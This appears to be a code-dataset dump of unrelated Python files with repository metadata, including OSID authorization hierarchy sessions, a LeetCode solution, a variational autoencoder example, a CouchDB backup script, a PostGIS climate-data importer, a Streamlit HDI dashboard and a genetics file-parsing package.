NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_child_bin_ids if self._catalog_session is not None: return self._catalog_session.get_child_catalog_ids(catalog_id=vault_id) return self._hierarchy_session.get_children(id_=vault_id) @utilities.arguments_not_none def get_child_vaults(self, vault_id): """Gets the children of the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query return: (osid.authorization.VaultList) - the children of the vault raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_child_bins if self._catalog_session is not None: return self._catalog_session.get_child_catalogs(catalog_id=vault_id) return VaultLookupSession( self._proxy, self._runtime).get_vaults_by_ids( list(self.get_child_vault_ids(vault_id))) @utilities.arguments_not_none def is_descendant_of_vault(self, id_, vault_id): """Tests if an ``Id`` is a descendant of a vault. arg: id (osid.id.Id): an ``Id`` arg: vault_id (osid.id.Id): the ``Id`` of a vault return: (boolean) - ``true`` if the ``id`` is a descendant of the ``vault_id,`` ``false`` otherwise raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` or ``id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* *implementation notes*: If ``id`` is not found return ``false``. """ # Implemented from template for # osid.resource.BinHierarchySession.is_descendant_of_bin if self._catalog_session is not None: return self._catalog_session.is_descendant_of_catalog(id_=id_, catalog_id=vault_id) return self._hierarchy_session.is_descendant(id_=id_, descendant_id=vault_id) @utilities.arguments_not_none def get_vault_node_ids(self, vault_id, ancestor_levels, descendant_levels, include_siblings): """Gets a portion of the hierarchy for the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query arg: ancestor_levels (cardinal): the maximum number of ancestor levels to include. A value of 0 returns no parents in the node. arg: descendant_levels (cardinal): the maximum number of descendant levels to include. A value of 0 returns no children in the node. arg: include_siblings (boolean): ``true`` to include the siblings of the given node, ``false`` to omit the siblings return: (osid.hierarchy.Node) - a vault node raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_node_ids if self._catalog_session is not None: return self._catalog_session.get_catalog_node_ids( catalog_id=vault_id, ancestor_levels=ancestor_levels, descendant_levels=descendant_levels, include_siblings=include_siblings) return self._hierarchy_session.get_nodes( id_=vault_id, ancestor_levels=ancestor_levels, descendant_levels=descendant_levels, include_siblings=include_siblings) @utilities.arguments_not_none def get_vault_nodes(self, vault_id, ancestor_levels, descendant_levels, include_siblings): """Gets a portion of the hierarchy for the given vault. arg: vault_id (osid.id.Id): the ``Id`` to query arg: ancestor_levels (cardinal): the maximum number of ancestor levels to include. A value of 0 returns no parents in the node. arg: descendant_levels (cardinal): the maximum number of descendant levels to include. A value of 0 returns no children in the node. arg: include_siblings (boolean): ``true`` to include the siblings of the given node, ``false`` to omit the siblings return: (osid.authorization.VaultNode) - a vault node raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_nodes return objects.VaultNode(self.get_vault_node_ids( vault_id=vault_id, ancestor_levels=ancestor_levels, descendant_levels=descendant_levels, include_siblings=include_siblings)._my_map, runtime=self._runtime, proxy=self._proxy) class VaultHierarchyDesignSession(abc_authorization_sessions.VaultHierarchyDesignSession, osid_sessions.OsidSession): """This session defines methods for managing a hierarchy of ``Vault`` objects. Each node in the hierarchy is a unique ``Vault``. """ _session_namespace = 'authorization.VaultHierarchyDesignSession' def __init__(self, proxy=None, runtime=None, **kwargs): # Implemented from template for # osid.resource.BinHierarchyDesignSession.init_template OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) self._forms = dict() self._kwargs = kwargs if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_hierarchy_design_session() else: hierarchy_mgr = self._get_provider_manager('HIERARCHY') self._hierarchy_session = hierarchy_mgr.get_hierarchy_design_session_for_hierarchy( Id(authority='AUTHORIZATION', namespace='CATALOG', identifier='VAULT'), proxy=self._proxy) def get_vault_hierarchy_id(self): """Gets the hierarchy ``Id`` associated with this session. return: (osid.id.Id) - the hierarchy ``Id`` associated with this session *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy_id if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy_id() return self._hierarchy_session.get_hierarchy_id() vault_hierarchy_id = property(fget=get_vault_hierarchy_id) def get_vault_hierarchy(self): """Gets the hierarchy associated with this session. return: (osid.hierarchy.Hierarchy) - the hierarchy associated with this session raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchySession.get_bin_hierarchy if self._catalog_session is not None: return self._catalog_session.get_catalog_hierarchy() return self._hierarchy_session.get_hierarchy() vault_hierarchy = property(fget=get_vault_hierarchy) def can_modify_vault_hierarchy(self): """Tests if this user can change the hierarchy. A return of true does not guarantee successful authorization. A return of false indicates that it is known performing any update will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer these operations to an unauthorized user. return: (boolean) - ``false`` if changing this hierarchy is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.can_modify_bin_hierarchy_template # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_modify_catalog_hierarchy() return True @utilities.arguments_not_none def add_root_vault(self, vault_id): """Adds a root vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault raise: AlreadyExists - ``vault_id`` is already in hierarchy raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.add_root_bin_template if self._catalog_session is not None: return self._catalog_session.add_root_catalog(catalog_id=vault_id) return self._hierarchy_session.add_root(id_=vault_id) @utilities.arguments_not_none def remove_root_vault(self, vault_id): """Removes a root vault from this hierarchy. arg: vault_id (osid.id.Id): the ``Id`` of a vault raise: NotFound - ``vault_id`` not a parent of ``child_id`` raise: NullArgument - ``vault_id`` or ``child_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.remove_root_bin_template if self._catalog_session is not None: return self._catalog_session.remove_root_catalog(catalog_id=vault_id) return self._hierarchy_session.remove_root(id_=vault_id) @utilities.arguments_not_none def add_child_vault(self, vault_id, child_id): """Adds a child to a vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault arg: child_id (osid.id.Id): the ``Id`` of the new child raise: AlreadyExists - ``vault_id`` is already a parent of ``child_id`` raise: NotFound - ``vault_id`` or ``child_id`` not found raise: NullArgument - ``vault_id`` or ``child_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.add_child_bin_template if self._catalog_session is not None: return self._catalog_session.add_child_catalog(catalog_id=vault_id, child_id=child_id) return self._hierarchy_session.add_child(id_=vault_id, child_id=child_id) @utilities.arguments_not_none def remove_child_vault(self, vault_id, child_id): """Removes a child from a vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault arg: child_id (osid.id.Id): the ``Id`` of the child raise: NotFound - ``vault_id`` not parent of ``child_id`` raise: NullArgument - ``vault_id`` or ``child_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.remove_child_bin_template if self._catalog_session is not None: return self._catalog_session.remove_child_catalog(catalog_id=vault_id, child_id=child_id) return self._hierarchy_session.remove_child(id_=vault_id, child_id=child_id) @utilities.arguments_not_none def remove_child_vaults(self, vault_id): """Removes all children from a vault. arg: vault_id (osid.id.Id): the ``Id`` of a vault raise: NotFound - ``vault_id`` is not in hierarchy raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinHierarchyDesignSession.remove_child_bin_template if self._catalog_session is not None: return self._catalog_session.remove_child_catalogs(catalog_id=vault_id) return self._hierarchy_session.remove_children(id_=vault_id)

45.960684

186

0.654709

159,782

0.990454

0

102,051

0.632592

0

105,793

0.655788

cdfc9bf4504d5cc25bda0a98802b00001e0b1b9c

1,031

py

Python

LeetCode/516-longest-palindromic-subsequence.py

leaving-voider/LeetCode.cn-Record

2922cbdab85556bc0625adc9e6ce44849232e4f4

[ "MIT" ]

null

LeetCode/516-longest-palindromic-subsequence.py

leaving-voider/LeetCode.cn-Record

2922cbdab85556bc0625adc9e6ce44849232e4f4

[ "MIT" ]

null

LeetCode/516-longest-palindromic-subsequence.py

leaving-voider/LeetCode.cn-Record

2922cbdab85556bc0625adc9e6ce44849232e4f4

[ "MIT" ]

null

############################################################################################### # 还是常规题，和【5. 最长回文子串】不同在于【子串】和【子数组】是【连续】的，而【子序列】可以不连续 # 因此定义dp的方式就不一样，对于【子序列】可以定义长度，而【连续】的【子串】则用是否 ########### # 时间复杂度：O(n^2) # 空间复杂度：O(n^2) ############################################################################################### class Solution: def longestPalindromeSubseq(self, s: str) -> int: N, len_ = len(s)+1, len(s) dp = [[0]*N for _ in range(N)] # dp[i][j]: i到j之间的回文序列长度 for i in range(len_): dp[i][i] = 1 if i < len_-1: dp[i][i+1] = 2 if s[i] == s[i+1] else 1 for le in range(3, len_+1): for i in range(len_-le+1): l, r = i, i+le-1 if s[l] == s[r]: dp[l][r] = dp[l+1][r-1] + 2 else: dp[l][r] = max(dp[l][r-1], dp[l+1][r], dp[l+1][r-1]) # 其实dp[l+1][r-1]不需要，因为它是最短的，dp[l][r-1]或dp[l+1][r]都包含了此种情况 return dp[0][len_-1]

44.826087

131

0.354995

758

0.585328

0

679

0.524324

cdfcd2a90ed7ec6257eb01c41e93f4909519bbec

3,427

py

Python

examples/vae.py

zhangyewu/edward

8ec452eb0a3801df8bda984796034a9e945faec7

[ "Apache-2.0" ]

5,200

2016-05-03T04:59:01.000Z

2022-03-31T03:32:26.000Z

examples/vae.py

zhangyewu/edward

8ec452eb0a3801df8bda984796034a9e945faec7

[ "Apache-2.0" ]

724

2016-05-04T09:04:37.000Z

2022-02-28T02:41:12.000Z

examples/vae.py

zhangyewu/edward

8ec452eb0a3801df8bda984796034a9e945faec7

[ "Apache-2.0" ]

1,004

2016-05-03T22:45:14.000Z

2022-03-25T00:08:08.000Z

"""Variational auto-encoder for MNIST data. References ---------- http://edwardlib.org/tutorials/decoder http://edwardlib.org/tutorials/inference-networks """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import edward as ed import numpy as np import os import tensorflow as tf from edward.models import Bernoulli, Normal from edward.util import Progbar from observations import mnist from scipy.misc import imsave tf.flags.DEFINE_string("data_dir", default="/tmp/data", help="") tf.flags.DEFINE_string("out_dir", default="/tmp/out", help="") tf.flags.DEFINE_integer("M", default=100, help="Batch size during training.") tf.flags.DEFINE_integer("d", default=2, help="Latent dimension.") tf.flags.DEFINE_integer("n_epoch", default=100, help="") FLAGS = tf.flags.FLAGS if not os.path.exists(FLAGS.out_dir): os.makedirs(FLAGS.out_dir) def generator(array, batch_size): """Generate batch with respect to array's first axis.""" start = 0 # pointer to where we are in iteration while True: stop = start + batch_size diff = stop - array.shape[0] if diff <= 0: batch = array[start:stop] start += batch_size else: batch = np.concatenate((array[start:], array[:diff])) start = diff batch = batch.astype(np.float32) / 255.0 # normalize pixel intensities batch = np.random.binomial(1, batch) # binarize images yield batch def main(_): ed.set_seed(42) # DATA. MNIST batches are fed at training time. (x_train, _), (x_test, _) = mnist(FLAGS.data_dir) x_train_generator = generator(x_train, FLAGS.M) # MODEL # Define a subgraph of the full model, corresponding to a minibatch of # size M. z = Normal(loc=tf.zeros([FLAGS.M, FLAGS.d]), scale=tf.ones([FLAGS.M, FLAGS.d])) hidden = tf.layers.dense(z, 256, activation=tf.nn.relu) x = Bernoulli(logits=tf.layers.dense(hidden, 28 * 28)) # INFERENCE # Define a subgraph of the variational model, corresponding to a # minibatch of size M. x_ph = tf.placeholder(tf.int32, [FLAGS.M, 28 * 28]) hidden = tf.layers.dense(tf.cast(x_ph, tf.float32), 256, activation=tf.nn.relu) qz = Normal(loc=tf.layers.dense(hidden, FLAGS.d), scale=tf.layers.dense( hidden, FLAGS.d, activation=tf.nn.softplus)) # Bind p(x, z) and q(z | x) to the same TensorFlow placeholder for x. inference = ed.KLqp({z: qz}, data={x: x_ph}) optimizer = tf.train.RMSPropOptimizer(0.01, epsilon=1.0) inference.initialize(optimizer=optimizer) tf.global_variables_initializer().run() n_iter_per_epoch = x_train.shape[0] // FLAGS.M for epoch in range(1, FLAGS.n_epoch + 1): print("Epoch: {0}".format(epoch)) avg_loss = 0.0 pbar = Progbar(n_iter_per_epoch) for t in range(1, n_iter_per_epoch + 1): pbar.update(t) x_batch = next(x_train_generator) info_dict = inference.update(feed_dict={x_ph: x_batch}) avg_loss += info_dict['loss'] # Print a lower bound to the average marginal likelihood for an # image. avg_loss /= n_iter_per_epoch avg_loss /= FLAGS.M print("-log p(x) <= {:0.3f}".format(avg_loss)) # Prior predictive check. images = x.eval() for m in range(FLAGS.M): imsave(os.path.join(FLAGS.out_dir, '%d.png') % m, images[m].reshape(28, 28)) if __name__ == "__main__": tf.app.run()

31.731481

77

0.676685

0

538

0.156989

0

861

0.25124

cdff5880102eb2ba8d22b6cbec2e9bb5407da963

2,196

py

Python

backup.py

BigBlueHat/copy-couch

ab4759540faecae8239c94e8045f7fce1f4a4914

[ "Apache-2.0" ]

null

backup.py

BigBlueHat/copy-couch

ab4759540faecae8239c94e8045f7fce1f4a4914

[ "Apache-2.0" ]

null

backup.py

BigBlueHat/copy-couch

ab4759540faecae8239c94e8045f7fce1f4a4914

[ "Apache-2.0" ]

null

#!/usr/bin/env python """copy-couch makes copies of couches. no joke. License: Apache 2.0 - http://opensource.org/licenses/Apache-2.0 """ import argparse import base64 import ConfigParser import datetime import json import requests argparser = argparse.ArgumentParser() argparser.add_argument('config_file', type=file, help="Config INI file. See `config.sample.ini` for info.") args = argparser.parse_args() config = ConfigParser.RawConfigParser({ 'protocol': 143, 'host': 'localhost:5984' }) config.readfp(args.config_file) local_couch = config._sections['local'] local_couch['password'] = base64.b64decode(local_couch['password']) local_url = local_couch['protocol'] + '://' + local_couch['host'] + '/' remote_couch = config._sections['remote'] remote_couch['password'] = base64.b64decode(remote_couch['password']) remote_url = remote_couch['protocol'] + '://' + remote_couch['host'] + '/' # setup local db session local_db = requests.Session() local_db.auth = (local_couch['user'], local_couch['password']) # setup remote db session remote_db = requests.Session() remote_db.auth = (remote_couch['user'], remote_couch['password']) rv = local_db.get(local_url).json() uuid = rv['uuid'] rv = local_db.get(local_url + '_all_dbs').json() # TODO: make which DB's configurable dbs = [db for db in rv if db[0] != '_'] # create & store one rep_doc per database for db in dbs: # create _replicator docs for each DB on local; target remote rep_doc = { "_id": "backup~" + datetime.datetime.now().isoformat(), "source": local_url, "target": remote_couch['protocol'] + '://' \ + remote_couch['user'] + ':' + remote_couch['password'] \ + '@' + remote_couch['host'] + '/backup%2F' + uuid + '%2F', "create_target": True } rep_doc['source'] += db; rep_doc['target'] += db; # TODO: make the backup db name configurable / reusable print 'Copying ' + db print ' from: ' + local_url print ' to: ' + remote_url + 'backup%2F' + uuid + '%2F' + db rv = local_db.post(local_url + '_replicate', json=rep_doc, headers = { 'Content-Type': 'application/json'}) print rv.json()

29.675676

74

0.659836

0

839

0.382058

a8042d0c00c4fb676c0f0e3967070e3d72d5ef12

3,568

py

Python

import_scripts/gpcc2gcmon.py

Jozelito/Raster2TXT

337c87298ffc6227ca952e9e5cd17a54979e2224

[ "MIT" ]

null

import_scripts/gpcc2gcmon.py

Jozelito/Raster2TXT

337c87298ffc6227ca952e9e5cd17a54979e2224

[ "MIT" ]

null

import_scripts/gpcc2gcmon.py

Jozelito/Raster2TXT

337c87298ffc6227ca952e9e5cd17a54979e2224

[ "MIT" ]

1

2018-05-29T21:16:44.000Z

#Script para la importacion de datos netCDF de un mes del GPCC en PostGIS. #Autor: José I. Álvarez Francoso import sys from osgeo import gdal, ogr, osr from osgeo.gdalconst import GA_ReadOnly, GA_Update # Funcion para sobreescribir el mensaje de porcentaje completado def restart_line(): sys.stdout.write('\r') sys.stdout.flush() # Funcion principal def gpcc2gcm_win(pg_connection_string, mes, agno): # Registra drivers gdal gdal.AllRegister() # Driver de postgis, para poder crear la tabla driver = ogr.GetDriverByName('PostgreSQL') # Se asume que el srs es 4326 srs = osr.SpatialReference() srs.ImportFromEPSG(4326) # Leemos la ultima banda del dataset (ultimo mes) fuente = "C:/Cualquier_directorio" + mes + "_" + agno + "/first_guess_monthly_" + agno + "_" + mes + ".nc" dataset = gdal.Open( fuente, GA_ReadOnly ) subdatasets = dataset.GetSubDatasets() subdataset_p = subdatasets[0][0] sds = gdal.Open(subdataset_p, gdal.GA_ReadOnly) cols = sds.RasterXSize rows = sds.RasterYSize # Creamos la tabla Postgis llamada "ghcn_t" para nuestros datos en el esquema public table_name = 'gpcc_p_' + mes + agno pg_ds = ogr.Open(pg_connection_string, GA_Update ) pg_layer = pg_ds.CreateLayer(table_name, srs = srs, geom_type=ogr.wkbPoint, options = [ 'GEOMETRY_NAME=geom',# Nombre del campo de geometria 'OVERWRITE=YES', # Borra y crea la tabla de nuevo 'SCHEMA=public',# Nombre del esquema ]) print 'Creada la tabla %s.' % table_name # Creamos el campo "temp" y campo "id_point" en la tabla fd_mes = ogr.FieldDefn('mes', ogr.OFTInteger) pg_layer.CreateField(fd_mes) print 'Creado el campo mes.' fd_agno = ogr.FieldDefn('agno', ogr.OFTInteger) pg_layer.CreateField(fd_agno) print 'Creado el campo agno.' fd_temp = ogr.FieldDefn('p_mes', ogr.OFTReal) pg_layer.CreateField(fd_temp) print 'Creado el campo p_mes.' # get georeference transformation information pixelWidth = 1 pixelHeight = 1 xOrigin = -179.5 yOrigin = 89.5 # Iteramos filas y columnas y definimos x e y data = [] band = sds.GetRasterBand(1) band_data = band.ReadAsArray(0, 0, cols, rows) data.append(band_data) id_n = 0 for r in range(rows): y = yOrigin - (r * pixelHeight) for c in range(cols): x = xOrigin + (c * pixelWidth) # Para cada celdilla, anadimos un punto en la capa Postgis point_wkt = 'POINT(%s %s)' % (x, y) point = ogr.CreateGeometryFromWkt(point_wkt) featureDefn = pg_layer.GetLayerDefn() feature = ogr.Feature(featureDefn) # Definimos el valor y lo anadimos al campo "temp". Grados Kelvin (restamos 273) value = float(data[0][r,c]) # Gestion de los null if value < 0: feature.UnsetField('p_mes') else: feature.SetField('p_mes', value) feature.SetField('mes', mes) feature.SetField('agno', agno) id_n+=1 porcent = id_n * 100/ 64800 sys.stdout.write('porcentaje completado: ' + str(porcent)) sys.stdout.flush() restart_line() # print 'Guardando el valor: %s para la variable %s en el punto x: %s, y: %s' % (value, 'temp', x, y) # Definimos la geometria de la capa y finalizamos su creacion feature.SetGeometry(point) pg_layer.CreateFeature(feature) if __name__ == '__main__': # El usuario tiene que definir al menos un parametro: la cadena de conexion Postgis GDAL if len(sys.argv) < 4 or len(sys.argv) > 4: print "uso: <GDAL PostGIS connection string> <mes> <agno>" raise SystemExit pg_connection_string = sys.argv[1] mes = sys.argv[2] agno = sys.argv[3] gpcc2gcm_win(pg_connection_string, mes, agno) raise SystemExit

36.783505

107

0.711323

0

1,431

0.40084

a804975ed4327041257e7e887706be1ffc7b7803

2,829

py

Python

app.py

Raisler/Brazil_HDI_DataVisualization

76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c

[ "MIT" ]

null

app.py

Raisler/Brazil_HDI_DataVisualization

76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c

[ "MIT" ]

null

app.py

Raisler/Brazil_HDI_DataVisualization

76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c

[ "MIT" ]

null

import streamlit as st import pandas as pd import numpy as np import plotly.express as px from plotly.subplots import make_subplots import plotly.graph_objects as go import matplotlib.pyplot as plt def load_data(data): data=pd.read_csv(data) return data df = load_data('hdi.csv') st.title('Human Development Index in Brazil') select = st.sidebar.selectbox('Choose', ['Home', 'Analysis by Year', 'Analysis by State']) if select == 'Home': st.write('That is a dashboard to see the HDI of all states in Brazil, you can see graphics and values!') st.write('In soon, more improvements. #Version 1') st.write('In the sidebar, choose your option for the better view for you!') st.write('Author: Raisler Voigt | suggestions? [email protected]') st.markdown('''<p align="center"> <a href="https://www.instagram.com/raislervoigt/" target="_blank" rel="noopener noreferrer">Instagram</a> • <a href="https://twitter.com/VoigtRaisler" target="_blank" rel="noopener noreferrer">Twitter</a> • <a href="https://www.linkedin.com/in/raisler-voigt7/" target="_blank" rel="noopener noreferrer">Linkedin</a> • <a href="https://github.com/Raisler" target="_blank" rel="noopener noreferrer">GitHub</a> </p>''', unsafe_allow_html=True) if select == 'Analysis by Year': select1 = st.sidebar.selectbox('Análise por Ano', [2017, 2010, 2000, 1991]) fig1 = px.scatter(df, x="HDI Health {0}".format(select1), y="HDI Education {0}".format(select1), size="HDI {0}".format(select1), color="UF") fig2 = px.histogram(df, x="UF", y = "HDI {0}".format(select1)).update_xaxes(categoryorder='total descending') fig3 = px.histogram(df, x="UF", y = "HDI Education {0}".format(select1)).update_xaxes(categoryorder='total descending') fig4 = px.histogram(df, x="UF", y = "HDI Health {0}".format(select1)).update_xaxes(categoryorder='total descending') fig5 = px.histogram(df, x="UF", y = "HDI Wealth {0}".format(select1)).update_xaxes(categoryorder='total descending') fig6 = df[['UF', "HDI Education {0}".format(select1), "HDI Health {0}".format(select1), "HDI Wealth {0}".format(select1)]] st.write(fig1) st.write(fig2) st.subheader('HDI Education') st.write(fig3) st.subheader('HDI Health') st.write(fig4) st.subheader('HDI Wealth') st.write(fig5) st.write(fig6) if select == 'Analysis by State': select2 = st.sidebar.selectbox('Choose the State', df['UF']) cdf = df cdf.index = cdf['UF'] state = cdf.index == '{}'.format(select2) state = cdf[state] trans = state.transpose() trans = trans.sort_index(ascending = False) fig1 = px.histogram(x = trans.index, y = trans['{}'.format(select2)]).update_xaxes(categoryorder='total descending') fig2 = state.transpose() st.write(fig1) st.write(fig2)

40.414286

144

0.679392

0

1,208

0.425952

a804e02acc0b6d5ed28538bc5bf647eab91b6259

657

py

Python

Examples/pycomBlink/main.py

sophie-bernier/RemoteOceanAcidificationMonitor

6a8b799826a2eb9b1d5064883193c61eea0ee310

[ "Unlicense" ]

1

2021-06-22T23:07:31.000Z

Examples/pycomBlink/main.py

sophie-bernier/RemoteOceanAcidificationMonitor

6a8b799826a2eb9b1d5064883193c61eea0ee310

[ "Unlicense" ]

null

Examples/pycomBlink/main.py

sophie-bernier/RemoteOceanAcidificationMonitor

6a8b799826a2eb9b1d5064883193c61eea0ee310

[ "Unlicense" ]

null

# main.py import pycom import time pycom.heartbeat(False) red = 0x08 blue = 0x00 green = 0x00 sleepTime = 0.01 def setRgb(red, green, blue): rgbValue = 0x000000 rgbValue |= (red << 16) | (green << 8) | blue pycom.rgbled(rgbValue) return while True: ### #if red >= 0x08: # if green > 0: # green -= 1 # else: # blue += 1 #if blue >= 0x08: # if red > 0: # red -= 1 # else: # green += 1 #if green >= 0x08: # if blue > 0: # blue -= 1 # else: # red += 1 ### setRgb(red, green, blue) time.sleep(sleepTime)

16.425

49

0.464231

0

255

0.388128

a8054920242ac3e7b7e99120e329e53db3f718af

1,891

py

Python

dsn/pp/construct.py

expressionsofchange/nerf0

788203619fc89c92e8c7301d62bbc4f1f4ee66e1

[ "MIT" ]

2

2019-04-30T05:42:05.000Z

2019-08-11T19:17:20.000Z

dsn/pp/construct.py

expressionsofchange/nerf0

788203619fc89c92e8c7301d62bbc4f1f4ee66e1

[ "MIT" ]

null

dsn/pp/construct.py

expressionsofchange/nerf0

788203619fc89c92e8c7301d62bbc4f1f4ee66e1

[ "MIT" ]

null

from spacetime import get_s_address_for_t_address from s_address import node_for_s_address from dsn.s_expr.structure import TreeText from dsn.pp.structure import PPNone, PPSingleLine, PPLispy, PPAnnotatedSExpr from dsn.pp.clef import PPUnset, PPSetSingleLine, PPSetLispy def build_annotated_tree(node, default_annotation): if isinstance(node, TreeText): annotated_children = [] else: annotated_children = [build_annotated_tree(child, default_annotation) for child in node.children] return PPAnnotatedSExpr( node, default_annotation, annotated_children, ) def construct_pp_tree(tree, pp_annotations): """Because pp notes take a t_address, they can be applied on future trees (i.e. the current tree). The better (more general, more elegant and more performant) solution is to build the pp_tree in sync with the general tree, and have construct_pp_tree be a function over notes from those clefs rather than on trees. """ annotated_tree = build_annotated_tree(tree, PPNone()) for annotation in pp_annotations: pp_note = annotation.annotation s_address = get_s_address_for_t_address(tree, pp_note.t_address) if s_address is None: continue # the node no longer exists annotated_node = node_for_s_address(annotated_tree, s_address) if isinstance(pp_note, PPUnset): new_value = PPNone() elif isinstance(pp_note, PPSetSingleLine): new_value = PPSingleLine() elif isinstance(pp_note, PPSetLispy): new_value = PPLispy() else: raise Exception("Unknown PP Note") # let's just do this mutably first... this is the lazy approach (but that fits with the caveats mentioned at the # top of this method) annotated_node.annotation = new_value return annotated_tree

35.679245

120

0.710206

0

507

0.268112

a8058f52d55c838079c4a938e2376efb1f6aa6ab

3,704

py

Python

geneparse/__init__.py

legaultmarc/geneparse

5a844df77ded5adc765a086a8d346fce6ba01f3d

[ "MIT" ]

4

2018-11-09T11:10:24.000Z

2021-07-23T22:17:58.000Z

geneparse/__init__.py

legaultmarc/geneparse

5a844df77ded5adc765a086a8d346fce6ba01f3d

[ "MIT" ]

5

2017-05-02T15:28:01.000Z

2018-04-16T18:29:15.000Z

geneparse/__init__.py

legaultmarc/geneparse

5a844df77ded5adc765a086a8d346fce6ba01f3d

[ "MIT" ]

1

2017-05-12T17:58:32.000Z

"""A module to parse genetics file formats.""" # This file is part of geneparse. # # The MIT License (MIT) # # Copyright (c) 2017 Pharmacogenomics Centre # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. import re from .readers import plink, impute2, dataframe, bgen, dict_based, vcf from .core import (Genotypes, Variant, ImputedVariant, SplitChromosomeReader, Chromosome) from .extract.extractor import Extractor try: from .version import geneparse_version as __version__ except ImportError: __version__ = None __author__ = "Marc-Andre Legault" __copyright__ = "Copyright 2014, Beaulieu-Saucier Pharmacogenomics Centre" __credits__ = ["Louis-Philippe Lemieux Perreault", "Marc-Andre Legault"] __license__ = "MIT" __maintainer__ = "Louis-Philippe Lemieux Perreault" __email__ = "[email protected]" __status__ = "Development" # TODO: # 1. Warn and show last exception if no reader correctly initialized. # 2. Could also make it async to load faster. class _SplitChromosomeReaderFactory(object): def __init__(self, reader_class): self.reader_class = reader_class def __call__(self, pattern, *args, **kwargs): if "{chrom}" not in pattern: raise ValueError("Expected '{chrom}' as a placeholder in the " "pattern.") # Explode the path for every possible chromosome. chrom_to_reader = {} last_exception = None for chrom in list(range(1, 23)) + ["X", "Y", "XY", "MT"]: chrom = str(chrom) cur = re.sub("{chrom}", chrom, pattern) try: # Instantiate the reader. chrom_to_reader[chrom] = self.reader_class( cur, *args, **kwargs ) except Exception as e: last_exception = e if len(chrom_to_reader) == 0: raise ValueError( "Could not initialize any genotype reader for chromosomes 1 " "to 22 or X, Y, XY, MT.\nLast exception was: {}." "".format(last_exception) ) return SplitChromosomeReader(chrom_to_reader) parsers = { "plink": plink.PlinkReader, "bgen": bgen.BGENReader, "vcf": vcf.VCFReader, "chrom-split-plink": _SplitChromosomeReaderFactory(plink.PlinkReader), "impute2": impute2.Impute2Reader, "chrom-split-impute2": _SplitChromosomeReaderFactory( impute2.Impute2Reader ), "chrom-split-bgen": _SplitChromosomeReaderFactory(bgen.BGENReader), "dataframe": dataframe.DataFrameReader, "dict-based": dict_based.DictBasedReader, "pickle": dict_based.PickleBasedReader, }

37.04

79

0.687365

1,166

0.314795

0

1,927

0.520248

a8065cec94c9ac0bb277d2b7b2c4a7aa013dd5ba

3,285

py

Python

pallet.py

sprightlyManifesto/cadQuery2

